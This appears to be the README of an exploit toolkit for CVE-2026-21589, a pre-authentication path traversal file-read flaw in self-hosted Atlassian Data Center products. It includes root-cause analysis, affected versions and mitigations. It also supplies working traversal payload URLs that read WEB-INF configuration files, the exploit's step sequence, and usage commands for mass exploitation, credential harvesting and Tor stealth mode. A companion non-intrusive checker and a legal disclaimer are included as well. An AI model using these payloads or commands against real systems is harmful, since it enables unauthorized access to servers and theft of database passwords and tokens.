[, Computer Misuse Act (UK), TCK 243/244 (Turkey), and similar laws worldwide.**
**CVE-2026-21589** is a critical unauthenticated path traversal and arbitrary file read vulnerability in **Atlassian Data Center products** (Bitbucket, Confluence, Jira Software, Jira Service Management, Bamboo, Crowd, Crucible, Fisheye). It allows an unauthenticated attacker to read arbitrary files inside the web application root (including `WEB-INF/`) via the `/download/*` webresource router. CVSS score: **9.3 (Critical)**. Disclosed by **watchTowr Labs** in September 2026. Patched by Atlassian in the September 2026 Data Center security advisory.
The flaw affects **eight self-hosted Atlassian products** across multiple version branches. The root cause is a **double URL-decode and `::` to `/` unescaping bug** in the webresource router that bypasses Tomcat's URI normalizer.
1. **Double URL-decode in router** - The `/download/*` webresource router calls `URLDecoder.decode(request.getRequestURI())` a second time. Tomcat only decodes the URI once, so `..%3a%3a` sequences survive Tomcat's normalizer and are then resolved inside the application.
2. **`::` to `/` unescaping** - After the second decode, `Router.unescapeSlashes` converts the `::` sequence into `/`, completing the `../` traversal primitive inside the application layer.
3. **Path concatenation into `ServletContext`** - The constructed path is appended to a resource path and passed to `ServletContext.getResourceAsStream`. This function performs no containment check and resolves files relative to the web application root.
4. **Unauthenticated access** - The webresource router is not gated by Seraph authentication, so the read happens pre-auth. No credentials, no session, no CSRF token required.
5. **WEB-INF disclosure** - Because `getResourceAsStream` allows `WEB-INF/` access, the attacker can read `web.xml`, `urlrewrite.xml`, `seraph-config.xml`, `atlassian-init.xml`, and any other file under the web application root whose exact path is known.
6. **Arbitrary file read constraint** - Directory listing is not possible. The attacker must know the exact filename and path. However, well-known file names (e.g. `WEB-INF/web.xml`) are predictable across installations.
7. **Impact** - Information disclosure of configuration files, potential credential leakage (JDBC URLs, passwords, API tokens, private keys), application fingerprinting for follow-up attacks, and lateral movement preparation. No direct RCE.
8. **The patch** - Atlassian fixed the double-decode and the `::` unescaping in the webresource router. Fixed versions were shipped across all affected branches (see Affected Versions).
9. **Active exploitation in the wild** - Public PoCs appeared within days of disclosure. WatchTowr published a Detection Artifact Generator (DAG) that fingerprints vulnerable Jira, Confluence, and Bitbucket instances. Mass scanning activity has been observed targeting internet-exposed Atlassian Data Center deployments.
10. **Affected surface** - Internet-exposed self-hosted Atlassian Data Center and Server instances. Atlassian Cloud customers are not affected (auto-patched).
- **Bitbucket Data Center** - below **9.4.26**, **10.2.8**, **10.5.1**
- **Confluence Data Center** - below **9.2.26**, **10.2.19**
- **Jira Software Data Center** - below **9.12.40**, **10.3.26**, **11.3.12**
- **Jira Service Management Data Center** - below **5.12.40**, **10.3.26**, **11.3.12**
- **Bamboo Data Center** - below **10.2.24**, **12.1.12**
- **Crowd Data Center** - below **6.3.7**, **7.0.3**, **7.1.7**, **7.2.4**
- Upgrade each product to its fixed version listed above.
- Block requests containing `%3a%3a` or `::` in the path at the WAF / reverse-proxy layer.
- Deploy the Tomcat RewriteValve rule (for Jira, Confluence, Bamboo, Crowd) or `urlrewrite.xml` rule (for Bitbucket) published by Atlassian.
- Restrict external network access to unpatched instances.
| **`exploit.py`** | Full red team toolkit with unauthenticated file read across 8 Atlassian products, credential harvesting from `WEB-INF` config files, mass scanning, stealth mode, proxy/Tor, and JSON/CSV reporting. | Red teams / authorized pentesters (ethical only) |
| **`safechecker.py`** | Non-intrusive exposure scanner that detects Atlassian product and version via public REST endpoints, validates against the affected range, and produces JSON/CSV reports. Never sends a traversal payload. | Blue teams / security auditors |
| Feature | `exploit.py` | `safechecker.py` |
|---------|:------------:|:----------------:|
| Arbitrary file read (WEB-INF) | [+] | [-] |
| Mass scanning (multi-thread) | [+] | [+] |
| CIDR / file / single target | [+] | [+] |
| Proxy support (SOCKS5/HTTP) | [+] | [+] |
| Non-intrusive (safe) mode | [-] | [+] |
| **Blue Team** - verifying if your Atlassian DC is exposed | `safechecker.py` |
| **Security Audit** - non-intrusive exposure assessment | `safechecker.py` |
| **Red Team** - authorized penetration testing with file read | `exploit.py` |
| **Bug Bounty** - responsible disclosure testing | `safechecker.py` |
| **Mass Scanning** - checking many instances for exposure | `exploit.py` (with `--files` minimal) |
| **Incident Response** - checking if systems are compromised | `safechecker.py` |
git clone
| 1 | Quick exposure check | `python3 safechecker.py --target |
| 2 | Detailed scan with report | `python3 safechecker.py --target --output report.json -v` |
| 3 | Mass audit from file | `python3 safechecker.py --file targets.txt --threads 32 --output audit.csv` |
| 4 | Single file read | `python3 exploit.py --target --files WEB-INF/web.xml` |
| 5 | Credential harvest | `python3 exploit.py --target --output report.json` |
| 6 | Forced product | `python3 exploit.py --target --product jira` |
| 7 | Depth sweep | `python3 exploit.py --target --try-depths` |
| 8 | Mass exploit | `python3 exploit.py --file targets.txt --threads 20 --output results.csv` |
| 9 | Tor + stealth | `python3 exploit.py --target --tor --stealth` |
| 10 | Proxy chain | `python3 exploit.py --target --proxy socks5://127.0.0.1:9050` |
The exploit uses the following Atlassian endpoints and exploitation steps:
| Step | Method | Endpoint | Description |
|------|--------|----------|-------------|
| **1. Product detect** | GET | `/rest/api/2/serverInfo` (Jira) or `/rest/api/serverInformation` (Confluence) | Detect product and version via public REST API |
| **2. Probe product** | GET | `/download/resources/{anchor}` | Verify `marker` string in response to confirm product |
| **3. Traversal** | GET | `/download/resources/{anchor}{traversal}{file}` | `..%3a%3a` double-decode to escape webroot |
| **4. File read** | GET | Same as above | `ServletContext.getResourceAsStream` resolves file relative to webapp root |
| **5. Credential extract** | - | - | Regex harvest on response body (JDBC, passwords, tokens, JWTs) |
/download/resources/jira.webresources:color-picker-popup/images/..%3a%3a..%3a%3a..%3a%3a..%3a%3a..%3a%3aWEB-INF%3a%3aweb.xml
/s/1/_/download/resources/com.atlassian.confluence.plugins.dashboard-actions/images/..%3a%3a...WEB-INF%3a%3aweb.xml
/s/1.0/_/download/resources/com.atlassian.bitbucket.server.bitbucket-webpack-INTERNAL:avatar/avatar/..%3a%3a...WEB-INF%3a%3aurlrewrite.xml
- **Only use these tools on systems you own or have explicit written permission to test.**
- Unauthorized access is illegal and unethical.
- The authors are not responsible for any misuse.
- Always follow your country's laws and regulations.
This software is provided for **educational purposes and authorized security testing only**.
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
